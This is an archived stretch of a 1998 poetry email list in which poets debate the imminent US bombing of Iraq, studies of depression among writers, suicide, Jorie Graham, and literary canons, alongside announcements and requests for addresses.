> repetition.
>
Tom,
Please don't let this subject go by the boards: maybe the list is (as I know I, for one, am) going back for some rereading before jumping in.

↑ Index

873. **Joseph Lease**
Re: Iraq and depression
Sun 22 Feb 1998

> *(Btw, is it a legal war or is it A Presidential Police Action, like the last few illegal massacres?)*
>
> *db3*

It's not a legal war: and this point--simple as it can be--needs to be articulated. One problem: to what extent does our current political culture (in some Baudrillard meets Olson sense, our polis) allow for any real democracy? What would real democracy be like? And how do we subjects fit into our anti-polis--our language-worlds formed by liberal democratic assumptions? It feels horrible to ask about individual responsibility--to even try to ask--in the televised micro-second before the bombs.

Joseph

↑ Index

874. **Jordan Davis**
give me your martha, your billy, your jorie masses
Sun 22 Feb 1998

Ah Mark Baker, give us s'more!
You've made a soul impoverish'd of wit
Laugh more openly in February (for my
Light-sensors far more punishing than
((And chocolate an antidepressant!))

April--an as-yet unanthologized cracker I)
Than'd been thought likely by
The woman of the moon. A toast, to you!
Euphues
(PS Only a few million more until moths
Figure out about fire...)

↑ Index

875. **Don Byrd**
Re: Poetry and Depression
Sun 22 Feb 1998

Thomas Bell Wrote:

> *Sorry, I think probably you are not guilty of the attitude I find myself railing at - the attitude that art and depression are aberrant and deserve each other.*
> *tom bell*
>
> *At 10:27 PM 2/21/98 -0800, Don Byrd wrote:*
> *I don't remember the details, but a few years ago, there was a widely reported study conducted at Iowa Writer's Workshop and perhaps elsewhere that found extraordinary levels of depression among writers. Does any one remember this?*

Oh, no, I remember it and mention it only as evidence of a prevailing popular notion that art is aberrant. What I wonder about is the popular need to think this? Why was this minor study reported in my local newspaper?

It reminds me of another affair. Several years ago there were, if I remember the story correctly, several murders on one of the Florida university campuses. The head of the campus policed was quoted in _The Chronicle of Higher Education_ as saying, "Security on a university campus is very difficult. All kinds of people hang around campuses--drug addicts, hippies, poets."

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
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876. P.Standard Schaefer
Re: query : Iraq
Sun 22 Feb 1998

I think this is a rather good idea, except for one thing. Say we announce a date to bomb palace X. What if on that day Saddam has stuffed the place with six year-olds?

↑ Index

877. Lisa Samuels
Re: Poetry and Depression
Sun 22 Feb 1998

don & joe, actually, i remember that study -- had a snippet of it up on my refrigerator in my last abode -- and it said that poets were much LESS likely to be depressed than writers of fiction or drama. i seem to recall something about the stress of representationalism, but perhaps that's a creative memory. lisa s.

Date: Sun, 22 Feb 1998 07:56:37 -0600
From: Joe Ahearn <[redacted]>

Yes, Don, I can confirm that I read a similar study, although I can't remember the numbers. What I do remember is that poets had the highest rates of depression when compared to other types of writers. (Of course, if they're all stuck in Iowa...)

↑ Index

878. Michael McColl
Re: Poetry and Depression
Sun 22 Feb 1998

The Iowa study I recall concluded that there was a high incidence of manic depression among writers. Unless, in other words, they were bi-polar, they weren't likely to get much work done. It was in manic or near-manic states that they achieved.

Mike McColl

↑ Index

879. **Annie Finch**

writers&depression, & Graham

Sun 22 Feb 1998

Don-- What I heard about that Iowa study was that though it did find an unusually high instance of psychological problems among writers, the most interesting finding was that the predominant problem among the fiction writers was schizophrenia, and among the poets, manic-depression.

Seen in this context, Graham's I-am-an-exhausted-participant-in-experience theme may be as key to her popularity as her crossover forms, background, etc.. Like Jordan, I find that this repeated stance seems gratuitous--I titled my review of Materialism "Unnecessary Burdens"--and moreover quite familiar, downright Romantic, in fact -"half in love with easeful Death" put that particular angst just as well, to my ear.

Annie

> *Date: Sat, 21 Feb 1998 16:03:17 -0500*
> *From: Jordan Davis <[redacted]>*
> *Subject: Building a bridge to the 21st c.*
>
> *Whenever Jorie Graham is quoted to me it's always something about how tiring it is, doing all this observing, or the endlessness of keeping things going, the burden! Do I hafta? she seems always to be saying. (Rhymes with NAFTA)*
>
> *Subject: Poetry and Depression*
>
> *I don't remember the details, but a few years ago, there was a widely report study conducted at Iowa Writer's Workshop and perhaps elsewhere that found extraordinary levels of depression among writers. Does any one remember this?*
>
> *Don*
> --
> **********
> *Don Byrd ([redacted], [redacted])*
> *Department of English*
> *State University of New York*
> *Albany, NY 12222*
> *[redacted] (work); [redacted] (home); [redacted] (fax)*
> *The Little Magazine (http://www.albany.edu/~litmag/)*
> **********

_____
Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

880. **dbkk**
(no subject)
Sun 22 Feb 1998

> *Date: Fri, 20 Feb 1998 23:18:33 -0600*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: poet-heroes, suicide and women's lot*
>
> *i know lots of cases in which women worked to put their husbands thru law school, medical school, business school, etc, only to be dumped when hubby finished, got a job, and met some sexier, funner chick in med school law school, etc or on the job.*
>
> *i'm with katie on this, but i've long since learned that POETIX isn't necessarily open to such discussions, so i just roll my eyes where youall can't see me.*

Ditto, ditto, ditto.

Your eyes may roll Maria, but mine spin around counterclockwise and send out sparks.

Dodie

↑ Index

881. **david bromige**
Iraq and depression
Sun 22 Feb 1998

I find it depressing that the posts I've read re-Iraq while suggesting modulations of the Administration's policy contain no apostates, only mild heretics. Why is the Admin being taken at its word? I find it interesting that, after Gulf War I, the sales of American arms were over the top. This congeries of intellectuals might consider that these "Wars" are most importantly demonstrations of how new weaponry works under actual conditions, thus leading to a bonanza sale.

(Btw, is it a legal war or is it A Presidential Police Action, like the last few illegal massacres?)

db3

↑ Index

882. **Steve Tills**
Re: Poetry and Depression
Sun 22 Feb 1998

Another cent or two: I in no way doubt that there's "a high incidence of manic depression among writers," but I think other clinical diagnoses play in here quite often, too, namely "personality disorders" like narcissism, which would dispose writers to attempt what Lacan would, I believe, call an attempt at fulfillment of "desire" for "a love that proves to be impossible once one has entered into the system of signs. (The 'union with the mother' is unachievable once the [m]other has been named.)" Hence, such desires cannot, ironically, be fulfilled by writing, perhaps less by attention garnered from recognition for one's "work," and even many quite "successful" writers become suicidal or endlessly wrestle with self-destructive obsessions and compulsions, impulses etc. I am, myself, especially interested in differentiating between writing produced by persons achieving a certain degree of "psychological maturity," whereby the writing is no longer a reaction, for better or for worse, to a perhaps misguided attempt to satisfy "desire" and is, rather, an optimally focused engagement with the materials and methods of signification. In addition, I have a suspicion, which I'm researching now and then, that Lacan's theory of "individuation" (the process whereby one achieves psychological maturity), being perhaps too heavily premised on the value of "difference" is problematical: "I would go so far as to say that even before slavery or class domination existed, men built an approach to women that would serve one day to introduce differences among us all" (Levi-Strauss); "Proponents of the degendering model have sometimes also held that 'female' virtues or qualities--nurturance, for instance--should be spread throughout society and replace aggression and competiveness" (Nancy Chodorow) vs. "Others who argue for degendering have at times held that women [read all writers, say] need to acquire certain 'male' characteristics and modes of action--autonomy, independence, assertiveness--again assuming that such characteristics are acquired" (Chodorow) and, finally, "I will suggest that we have to understand this separation-individuation in relation to other aspects of development, that it has particular implications for women [read all writers, again], and that differentiation is not synonymous with difference or separateness"; further, "The argument here advances a reading of psychoanalysis that stresses the relational ego. It contrasts with certain prevalent (Lacan-influenced) feminist readings of psychoanalysis, in particular with the views advanced by French theorists of difference like Luce Irigaray and with the Freudian orthodoxy of Juliet Mitchell" (Chodorow).

Okay, smile, there's a lot of BS here, on my part, that is, and texts should not be reduced to the personality factors of a given writer, but I wanted to include this in the mix. Also, I find Lisa Samuels comment about poets being LESS likely to be depressed than writers of fiction and drama and this having something to do with the stress of Representation quite intriguing.

Steve Tills

Michael McColl wrote:

> *The Iowa study I recall concluded that there was a high incidence of manic depression among writers. Unless, in other words, they were bi-polar, they weren't likely to get much work done. It was in manic or near-manic states that they achieved.*
>
> *Mike McColl*

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883. **Tim Wood**

Re: Iraq and depression

Sun 22 Feb 1998

> *I find it depressing that the posts I've read re-Iraq while suggesting modulations of the Administration's policy contain no apostates, only mild heretics. Why is the Admin being taken at its word? I find it interesting that, after Gulf War I, the sales of American arms were over the top. This congeries of intellectuals might consider that these "Wars" are most importantly demonstrations of how new weaponry works under actual conditions, thus leading to a bonanza sale.*

I like the suggestion of the son of Henry. It's actually the second time I've heard a similar idea floated. The prior time was by someone calling into Diane Ream's (NPR) talkshow. If memory serves, that caller got the short shrift by the powers that be that were featured. Which is a pity because it is a good approach, if you accept the administration's word. The problem is that the administration has done what is typical of U.S. administrations and painted themselves into a shortterm corner with some pretty thick painterly rhetoric. The painterly-ness of it so thick that few are positing any alternatives and those are relatively minor.

As far as potential arms sales being a motivator, that may be part of it, but the whole d*mn situtation is a result of bad long term U.S. policy that strives for hegemony in the region. Stormin' Norman's father led the American Force in the '50s that installed the Shahs, which was finally overthrown by a government that scarred the h*ll out of the politicians here, who started pumping weapons into Iraq, etc., etc. It rings of one of those wonderfully quotable bible lines that goes something like the sins of the fathers will be visited on the children to the

third and fourth generation. Bigger lies trying to solve the problems from Big lies trying to solve the problems from medium size lies trying to solve...

Tim

_____ Tim Wood

[redacted]

poetry is the shock of insight's drive-by

↑ Index

884. **Don Wellman**

Re: Poetry and Depression

Sun 22 Feb 1998

Thank you Steve Tillis--your post today speaks volumes to what I had attempted to say in a post of
Sat, 21 Feb 1998 09:47:17 -0500, from which I quote now:

"... there is writing in the face of wanting to die (even if that wish is in denial) ... and all of this as I imagine it is "depressingly" normal in those stratas of society that produces self-identified poets. I have read Williams's "Desert Music" this way. ... still, the willful pursuit of an edge experience. I find it impossible to deny that this has value for poetry: Artaud, Rimbaud ... even engineers of formalism are often sadistic."

Sometimes the manic energy associated the pursuit of an edge experience comes out as poetry ... Some times as differently embodied actions ... It can be "depressing:" for me to see how this energy is cleaned up to make a presentable appearance ... that is what we are taught to do in what I call the strata of society that produces self-identified poets .... it may be obvious to the list maybe not, my critique of self-identified poets rhymes with Olson's critique of "lyric interference" ...

that is one way to get at the nub of it for me: how could someone who admired the beak of the ego so and was so often insecurely brash argue against lyric interference...?

I am speaking of familiarities.

None of this touches on the situation that Tom Beckett wrote of ... there are many admirable and heroic encounters for all of us with our different realities ... our "Difficulties"

My comments do touch on "will" and "desire" and "impulse"--all maybe relics of the 19th century to some on the list (referred to above as --"engineers of formalism") -but things in some of us that do seem to filter through the grid of

language webs (to vitalize my formalism here --grid and web two faces of an apparatus)

the problem with Jorie Grahm and it may be my problem too is how she
seeks to harmonize a discordant complex ...
why I like language poetry is because of the ways in which it sheds an
ironic light on the socio-material super structures ...
why I think Deleuze and Guattari have something to say is because of
their embrace of disjunctions
i am learning to live with my "schizzes" not paper them over ...

... that allows me to take up a position of empathy when I "experiment" with words--as in what would someone know or feel if they were actually to read or hear this? ... how often do all of us only read or hear what we want to hear, what we are able to hear.

Yes I am posturing before Lacan's mirror now ..

Don Wellman

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885. **Poetics List**

Irish Poetry Conference Announcement (fwrd)

Sun 22 Feb 1998

> *Date: Mon, 16 Feb 1998 14:05:13 +0000*
> *From: Alex Davis <[redacted]>*
> *Subject: New and Experimental Poetry*

>... Billy Mills and Catherine Walsh suggested I contact you with regard to
the >Experimental Irish poetry conference/readings that, for the second
time, >University College Cork is hosting. It's a fairly smallscale
affair, but perhaps >you would be so kind as to put the details on the
Buffalo Discussion List. > The dates are 13 March-14 March: an evening
reception on the Friday; >readings and papers from 10.00 Saturday morning
to 5.30 on the Saturday >evening in the Granary Theatre, University
College, Cork. The poets reading >are: Trevor Joyce, Michael Smith,
Geoffrey Squires and Augustus Young; >Billy Mills, Catherine Walsh,
Randolph Healy and Maurice Scully. Papers are >being presented by John
Goodby, Harry Gilonis and Alex Davis. Admission is >free; books and
pamphlets will be available to purchase. Further details
>can be obtained from Alex Davis, The Department of English, University
>College, Cork, Ireland. Tel. 353 21 902185/353 21 902241; Fax. 353 21
>345122; email [redacted].

> *Last year was very successful, and showed a very different side to recent Irish poetry than--as I am sure you are aware--is usually evident at conferences in Ireland and elsewhere.*

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886. **Joe Amato/Kass Fleisher**
pmc...
Sun 22 Feb 1998

---

matt kirschenbaum has helpfully alerted me to the fact that there is a full text-only archive of _postmodern culture_ available, at:

http://jefferson.village.virginia.edu/pmc/text-only/back-contents.html

for those w/o access to project muse, and who are looking for plain vanilla of text-only texts (which wrt my piece on rasula's book should do the trick)... if you *do* happen to check out my piece, be sure to check out as well ken sherwood's excellent review of jerry's and pierre's _poems for the millennium_ vol 1...

wanted also to say that i enjoyed other articles in the recent _poetic briefs_ too, esp. laura feldman's piece, "the room of hazel hall"...

best,

joe

↑ Index

887. **Joe Brennan**
Re: Iraq and depression
Sun 22 Feb 1998

David: let's not forget that the issue is hegemony (read oil), and there are many such serendipitous opportunities as weapons' testing, refining logistical models and a new rational fofr funding increases. I think the answer to your question vis-a-vis the offical stance is due more to getting our news exclusively by the mainstream (official) media. No doubt there are many on the list who are fully aware of the West's need for such a continued projection of force in the Middle-east -- which is for me the larger issue. In this context, air strikes and the like provide an opportunity for the western alliance members to criticize US policy while accepting as a fait accompli the US's presence -- and there are other benefits of such actions as well. This current episode is an example of the high stake's negotiating that Iraq has been reduced to by the continued high death rate in Iraq that is directly related to the destruction of its infrastructure and its inability, due to the US-led embargo, to effect repairs -- & the inadaquate levels of medicines, foods and drinking water, etc. I think you know all this but I always find it reassuring when I find another empathetic poet.

Joe

↑ Index

888. **Joe Ahearn**
Re: Poetry and Depression
Sun 22 Feb 1998

> *It*
> *was in manic or near-manic states that they achieved.*

This seems to me, as one captive to bipolar disorder, an incredibly optimistic (naive?) assessment.

jra

Joe Ahearn

_____
[redacted]

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889. **Joe Ahearn**
Re: Iraq and depression
Sun 22 Feb 1998

I saw Madeline Albright on TV this morning. She stated unequivocally that the question of whether there is a war is not one for the citizenry to make. Nor would "their" opinions be heeded. This is a job for the real pros, I guess.

At 04:18 PM 2/22/98 +0000, you wrote:
>>(Btw, is it a legal war or is it A Presidential Police Action, like the
>>last few illegal massacres?)
>>
>>db3
>
>
>It's not a legal war: and this point--simple as it can be--needs to be
>articulated. One problem: to what extent does our current political
>culture (in some Baudrillard meets Olson sense, our polis) allow for any
>real democracy? What would real democracy be like? And how do we
>subjects fit into our anti-polis--our language-worlds formed by liberal
>democratic assumptions? It feels horrible to ask about individual
>responsibility--to even try to ask--in the televised micro-second before
>the bombs.
>

>Joseph
>
>

Joe Ahearn

_____
[redacted]

↑ Index

890. **Daniel Zimmerman**
Re: Iraq and depression
Sun 22 Feb 1998

Joseph Lease wrote:
>
> >(Btw, is it a legal war or is it A Presidential Police Action, like the
> >last few illegal massacres?)
> >
> >db3
>
> It's not a legal war: and this point--simple as it can be--needs to be
> articulated. One problem: to what extent does our current political
> culture (in some Baudrillard meets Olson sense, our polis) allow for any
> real democracy? What would real democracy be like? And how do we
> subjects fit into our anti-polis--our language-worlds formed by liberal
> democratic assumptions? It feels horrible to ask about individual
> responsibility--to even try to ask--in the televised micro-second before
> the bombs.
>
> Joseph

Oh, of course it's "legal," if carried out under UN imprimatur and within the context of enforing UN resolutions. It's certainly not "democratic," even if a majority of the UN or our allies support it, or a majority of "the American people," whoever they are.

Paul Virilio's the guru here: war gets faster & faster--the ground war phase of the Gulf War lasted 100 hours; present plans call for the entire next 'war' against Saddam to last for c. 96 hrs. of air barrage, with no ground troops at all.

The latest news I heard has Saddam agreeing with Kofi Annan to unlimited access inspections--no doubt after he's accomplished much or all of the covert actions his long stalling [call it 'defending the honor of the Iraqui people'] has made possible, & no doubt he'll pull the same move next time he needs to. This

parallels the long buildups on our side [call it 'restraint']--a hypnotic dance of cobras.

This all goes against the prime advantage of modern warfare: the option for instantaneous action [somewhat compromised on our side because of military downsizing and NATO foot-shuffling because of economic/trade considerations]. Saddam's strategy: slow everything down, give America a chance to develop a headache, then a conscience [he learned from Ho Chi Minh, though the conscience has taken a bit longer to develop--but hey, Saddam's no poet].

"Real democracy" would certainly not do well to depend on "the American people," 80% of whom apparently favor a land war to take Saddam out [too many action movies? too much NHL, NFL, NBA, WWF, KKK?]. In a country with millions of "top secrets" [some of which might bring all the houses down], real democracy is a pipe dream. Besides, as Lani Guinere pointed out, democracy has the utilitarian disadvantage that minorities tend almost always to lose. Thus, Bill Richardson & Madeline Albright can afford to "commend" protestors for "practicing democracy" with no fear of having to compromise with them, let alone capitulate to their demands.

"Real democracy" would begin with the repeal limited liability corporation laws, with political rather than merely economic internationalism, and with the legalization of everything which doesn't harm others, under the "unalienable right" of the pursuit of happiness, no matter how dumb the means of pursuit. Anyone have any ideas about implementation?

Dan Zimmerman

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891. Karen Kelley
Re: Poetry and Depression
Sun 22 Feb 1998

Steve Tills wrote:
>
> I am, myself, especially interested in differentiating
> between writing produced by persons achieving a certain degree of
> "psychological maturity," whereby the writing is no longer a reaction,
> for better or for worse, to a perhaps misguided attempt to satisfy
> "desire" and is, rather, an optimally focused engagement with the
> materials and methods of signification.

Uh oh, I find "desire," "materials," and "methods of signification" all intensely, um, desirable. Is "desire" seen as narcissistic? As too self-identified? Can the "I," desire, materials & methods of signification all live together without being

psychologically immature?--oops, I almost wrote "psychologically insecure." Freudian slip.

Karen

↑ Index

892. **Michael McColl**
Re: Poetry and Depression
Sun 22 Feb 1998

On Sun, 22 Feb 1998 17:05:14 -0600 Joe Ahearn said:
>> It
>>was in manic or near-manic states that they achieved.
>>
>
>This seems to me, as one captive to bipolar disorder, an incredibly
>optimistic (naive?) assessment.
>
>jra
>
>
>
>Joe Ahearn
>_____
>[redacted]
>
>
>

Joe--just want to make clear that I'm merely paraphrasing the newspaper article, and that a couple of years after the fact. I think a book was published on this connection by the woman who did the Iowa study. I would guess that there is much more to her ideas than my summary suggested.

↑ Index

893. **maz881**
Re: poet-heroes, suicide and women's lot
Sun 22 Feb 1998

---

weiss wrote: <<I've known several women writers whose husbands' work funded their literary careers and afforded them lots of time for writng. I don't know too many men who can say that.>>

hi mark w. i was almost one of those lazy boys like c. coolidge & m. palmer. wish i had made smarter economic choices. i might have gotten a lot more done. i'm 37 and i haven't even started a movement or anything.

Bill Luoma

↑ Index

894. **Tom Beckett**
Re: Acker/Scalapino
Sun 22 Feb 1998

Danny-- Yeah, the music of Reich and Glass is an excellent point of reference. Especially since they are process oriented musics in which the process is apparent, audible.

My guess is that CONSIDERING HOW EXAGGERATED MUSIC IS would be a good place to start. Others may have better suggestions.

Best wishes,

Tom Beckett

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895. **Joel Felix**
For Ronald Johnson
Sun 22 Feb 1998

Dear Poetics:

Some of Ronald Johnson's friends on this list may know in advance that in November he suffered a stroke that caused a fall down a flight of stairs, cracking 9 ribs and puncturing a lung. Not long after it was revealed that he has two inoperable lesions in his brain. Currently he is under constant care and confined to his house in Topeka.

For those that don't know his work, Ron completed his long ("don't call it an epic") poem Ark in recent years, (available from Living Batch Press), a work twenty years in the making, and which Robert Creeley has named one great work of this century.

I am told by Peter O'Leary that Ron is unable to write anymore but recieves mail gladly. His address is 1422 SW Tyler, Topeka KS 66612.

Thank you. Joel Felix

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896. **Mark Weiss**

Suicide

Sun 22 Feb 1998

Maybe because I've spent a lot of time doing so myself I have a hard time trusting people who haven't stared into the pit. They seem incomplete and shallow.

But here's what I know about a particular suicide, a poet friend. With no advance warning that anyone noticed one day while his wife and nine-year-old daughter were out buying groceries he sat down on their brand-new couch, put a gun in his mouth and shot his brains out. Talk about leaving a mess for others to clean up.

I've been haunted for years by the image of his daughter walking into the livingroom that afternoon.

I have no idea what was going on in my friend's head before he splattered it all over the wall. I do know from my own suicidal days and from my clinical work that many would-be suicides and suicide-attempters go into a kind of rational trance--in my case the mantra, standing at a high window, was, "I'm inside--I could be outside," or, when stepping into the street in front of a speeding car, "I bet it won't hit me." What was lost was the sense of consequence--"I'm going to die."

If the personal consequence of suicide is removed from the equation it becomes a dandy weapon, and in my own case and in the cases of most of those I saw clinically that's what it was--suicide as the final come-back, the last word. And it's usually directed pretty precisely--a suicide note often serves as a dedication, and my friend, knowing who was going to walk through the door, didn't need a note to make the dedication pretty clear.

Yeah, I'm being moralistic. At my darkest moments I step back from the window not because suicide is dystonic, but because I have a fair idea of what that kind of death would mean to those I love.

A lot of great writing has come out of the struggle to cope with despair. I think it was Ignatius Loyola who compared the dark night of the soul to having fallen to the bottom of a deep well. But then, he says, you can look up and see the stars.

I'm obviously not talking about the suicides of those with painful illnesses or with Hitler or Stalin at their heels.

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897. George Bowering
Re: Iraq and depression
Sun 22 Feb 1998

Oh. Bromige is so cynical in his regard of the US military/political nexus, and especially here about the Gulf Wars.

Remember that the US bombing people said that they were not making war on the Iraqi people, but on their political bosses.

Well, look.

Dont you see that the Iraqi people are now flourishing, while their political bosses are crawling in poverty and disease and misery.

You have to learn to trust the bombing people, David!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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898. Rodrigo Toscano
Re: Iraq and depression
Sun 22 Feb 1998

In response and agreement (and addition) to David Bromige's post.

I, for one, am such an apostate.

Feb. 23rds headline in Time magazine is appropriate: Wall Street Goes To War. The article notes: Like Presidential approval ratings, stock prices tend to inflate when the U.S. engages in armed conflict. Look no further than the tireless bull market that we enjoy today. It began in 1991 when the U.S. drove Saddam Hussein and his Iraqi army out of Kuwait. The first allied air raids came on January 17 of that year and sent the Dow Jones industrial average soaring 4.6% in a day. By mid-March the Dow had jumped 20%. The point is illustrated with a graphic chart which ties the Birth of the Bull Market to the day the bombing began. Yes, sir! The generals on Wall Street do love a war, the article continues. There's nothing like the smell of smart bombs in the morning ‹ as long as theyre ours ‹ to arouse feelings of invincibility. And what better frame of mind for dialing ones broker and cheerfully picking up another 100 shares of Boeing or Lockheed Martin. With Saddam the Sequel possibly only days away ... it¹s no

shocker that the market has hit new highs for the first time in six months. With the massive collapse of capitalism in Asia reverberating in the board rooms of stock exchanges and corporate headquarters across the world, talk of a severe downturn is commonplace in Barrons, The Financial Times, The Far Eastern Economic Review, and the Wall Street Journal . Wall Street is betting heavily on war. Yes, Time continues, success in the Persian Gulf would vindicate all those market patriots bidding up share prices. ... stocks of defense contractors, oil producers and oil service companies would be good hedges. Remember, those generals on Wall Street wear suits, not battle fatigues. They don't really know a thing about war. They do know, however, how to profit from it. The Annual Report called The State of the Union concealed the $6 trillion of debt in the United States and an arms budget that consumes 70 cents of every dollar. Clinton¹s boast of an entire new generation of weapons, the military arsenal of the 21st century, translates this way: smart weapons must be tested against a country with no defenses, and with a gross national product less than 1 percent that of the United States. Pentagon sources tell Time that U.S. warplanes patrolling the southern no-fly zone over the past three months have been practicing bombing runs on targets that top brass figured they might ... have to attack. Order of battle Time has the Order of Battle: The First Wave involves Tomahawk Cruise Missile attacks by night and attack by Air Force F-117 Nighthawks. Navy warships and subs armed with hundreds of precision missiles target sites ... F-117 stealth fighters zip out of Kuwait flying undetected into Iraq targeting communication centers ... with 2,000 lb. laser-guided bombs. The Second Wave includes The EA-6B Prowler, EF-111 Raven and the F- 16CJ to jam ... radar .... making it safe for the bombers. The Third Wave will see Bomb Laden Air Force B-1 Bombers from Bahrain and missile-loaded B-52s from Diego Garcia aim for high value targets ... launching weapons from high altitudes. Refueling planes ... rendezvous with the B-52s. Wave Four involves Air Force F-15 Eagles and Navy F-14 Tomcats patrolling the sky while F/A 18 Hornets, F-16 Falcons and British Tornados roar to attack. Surveillance throughout the battle by ES-3A Shadow Jets ... vacuum up Iraqi Radio Transmissions. E-2 Hawkeyes scour the skies and ... direct the attack. Bomber squadrons will be launched from Incirlik Air base in Turkey and from bases in Italy, Portugal, Spain, and Germany. AWACS, aerial tankers, and support aircraft will depart from Saudi Arabia and 42 bomber squadrons from Kuwaits Al Jaber air base. The U.S.S. George Washington, U.S.S. Independence, launch destroyers in the Persian Gulf, bomber squadrons from Bahrain, armored brigades in Qatar, Air Refueling Tankers in Oman, and B-52 squadrons in Diego Garcia will amplify 28,000 troops. 300 war planes on naval carriers will coordinate saturation bombing around the clock for seven days. On the eve of what is shaping up as the biggest combat operation of his Presidency ... war is just around the corner. Time reports. No one expects the operation to be bloodless. The White House has

begun preparing Americans for unpleasant pictures from Baghdad and less-than perfect results from the battlefield. There were 40,000 bombing sorties during the Gulf War. More bombs fell on Iraq than in seven years of World War II. Massive devastation Nothing that we have seen or read could quite prepare us for the particular form of devastation that has befallen this country. The conflict has wrought near apocalyptic results upon the economic and social infrastructure. ... Most means of modern life support have been destroyed ... and Iraq has been rendered a country ... in a pre-industrial age.(U.N. Report, 1991.) Iraq has been devastated further by the seven-year embargo. UNICEF estimates one million Iraqi children dead from starvation and the FAO in 1997 reports 1.5 million Iraqis dying from hunger and untreated disease. There are no medicines or IV bags, syringes, insulin, asthma medication, antibiotics, standard medications, or sterile health facilities. The claim to be targeting biological weapons facilities in Iraq is absurd. These can made in a portable lab. Anthrax or bubonic plague bacteria are housed in small vials. The largest producer of biochemical weapons in the world, however, is the United States ‹ which refuses to ban them. For years, this country supplied biochemical weapons to its client, Saddam Hussein, to use against Iran. The Israelis, who delivered them to Iran for use against Iraq, deployed toxic gases causing paralysis, vaginal bleeding, and catatonia in Palestinian victims during the intifada. The imminent aerial massacres prepared by U.S. rulers aim to terrorize the Arab masses, whose profound disaffection threatens U.S. client regimes throughout the region. This is the true face of U.S. imperialism.

Rodrigo Toscano

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899. **Tom Beckett**
Re: Iraq and depression
Sun 22 Feb 1998

Does anyone else hear "the energy crisis" and "the antichrist" as near homophones?

Tom B.

↑ Index

900. **Don Byrd**
Re: Temporary canons
Mon 23 Feb 1998

Ron Silliman wrote:

> *I'm looking at my copy of New Poetry, edited by Harriet Monroe (founder, Poetry) and Alice Corbin Henderson, published by MacMillan in 1925.*

In the American Tree is an excellent anthology. I suspect, however, that in 75 years, Ron, if there is still such a thing as a literary history, your choices are likely to look fairly quaint. I wouldn't even begin to speculate who will be the Pounds and Williamses and who the Hilda Conklings and Arthur Davison Fickes in your TOC, but they will be there. All in all, Monroe and Henderson's editing seems to me quite remarkable. With the exception of the African-American poets (and, of course, the reason for their failure to include them was no doubt very different from their reasons for failing to include cummings, Loy, Jeffers), they managed to include almost all of the poets who are still remember from the period. I don't have information at hand, but at least some of those you mention as missing would have been very young in 1925. If I remember correctly Stanly Kunitz was born about 1910 and some of the others, I am fairly certain, were born after 1900.

Why am I arguing this? It amazes me how anxious every seems about their installation in the Wax Museum of American Poetry. If the only end of poetry is to be taught in Professor X's course or to be incldued in editor Y's anthology or even to win foundation Z's prize (do you want guilt money from the inventor of dynamite?), I am not sure I want any thing to do with it. If there is going be a poetry that does not belong to the orthodoxy, we cannot make an orthodoxy of it. Are we supposed to be unorthodox until we are fifty and then expect the orthodox to disappear suddenly from the field?

There was a little book around in the 60s entitled _Teaching as a Subversive Activity_, I do not remember the author's name, and I am not sure that I ever read it, but the title has stuck with me. Willy-nilly, it does happen some times that you turn to be part of the establishment yourself, and then, of course, you have to be especially scrupulous about self-subversion. It would have never occurred to me to teach Hughes, but it seems to me that, if it can get such a violent reaction from you, Ron, I have probably been blind to ways in which I need to subvert myself.. db

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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901. **k. lederer**
Queries again...
Mon 23 Feb 1998

Does anyone have the current mailing addresses for the following?

Pat Phillips

Dan Maclin (I know someone has this one!)

Anyway--please backchannel if you have addresses for these two or for any of the others I listed last week (I didn't get but one answer from that query...)

Thanks,
Katy L.

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902. **Joe Ahearn**
Re: Suicide
Mon 23 Feb 1998

> *. But then, he says, you can look*
> *up and see the stars.*

Or as Dante puts it at the end of the Inferno:

At last we emerged, and once again beheld the stars.

Joe Ahearn

_____
[redacted]

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903. **david bromige**
eliza mcgrand
Mon 23 Feb 1998

Listfellows, do any of you know what became of Eliza? I have no response from the last e-ddress we had for her. Thanks in advance for any help. David

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904. **Tom Beckett**
back issue of The Difficulties
Mon 23 Feb 1998

I''ve available a limited number of
__Ron Silliman Issue of The Difficulties__(1985)

&
__David Bromige Issue of The Difficulties__(1987)

Back channel for more info. In some instances I can be persuaded to barter.

Tom Beckett

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905. **Henry Gould**
Re: query : Iraq
Mon 23 Feb 1998

> *I think this is a rather good idea, except for one thing. Say we announce a date to bomb palace X. What if on that day Saddam has stuffed the place with six year-olds?*

Good point. As Saddam might say, "duh". What I liked about Alex's idea was it simply toned down the "total bombardment" scenario of the Pentagon. Let's hope diplomacy works. As I mentioned backchannel, the idea of promoting a US teenager's bombardment plan sounds too close to Pynchon for comfort (are you listening, Agent Mooney?) - Henry Gould

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906. **sylvester pollet**
Re: eliza mcgrand
Mon 23 Feb 1998

At 10:56 PM -0800 2/22/98, david bromige wrote:
> Listfellows, do any of you know what became of Eliza? I have no
>response from the last e-ddress we had for her. Thanks in advance for any
>help. David

I don't know, David, but as I was reading the exchanges in Mike & Dale's Younger Poets 7 last night (one of them hers) I was reminded of her useful presence, & realized she must have gone walkabout. Reading that thing is a very odd experience indeed, and leaves me with feelings I haven't quite sorted out yet. I didn't realize that whole messages were printed, with headers, so e-mail addresses too. I'd rather have been left out, or had a poem in the issue, or something--a chance to choose, as Kali Tal explained it. Your posts contain quite

personal stuff. I guess it's a useful reminder: Little Brother is Watching You!
best, Sylvester

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907. **W. Freind**
Re: back issue of The Difficulties
Mon 23 Feb 1998

I'm interested in both. What's the price?

Bill

On Mon, 23 Feb 1998, Tom Beckett wrote:

> *I''ve available a limited number of*
> *__Ron Silliman Issue of The Difficulties__(1985)*
>
> *&*
> *__David Bromige Issue of The Difficulties__(1987)*
>
> *Back channel for more info. In some instances I can be persuaded to barter.*
>
> *Tom Beckett*

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908. **Mark Prejsnar**
Re: enough about Graham
Mon 23 Feb 1998

I apologize to Listpersons if some of this post seems odd....In a long time of using it, I've never seen my e-mail software do this, but my attempts to quote part of d powell's post seem to end in mangling it somehow (at least that's the way it's appearing to me right now)...

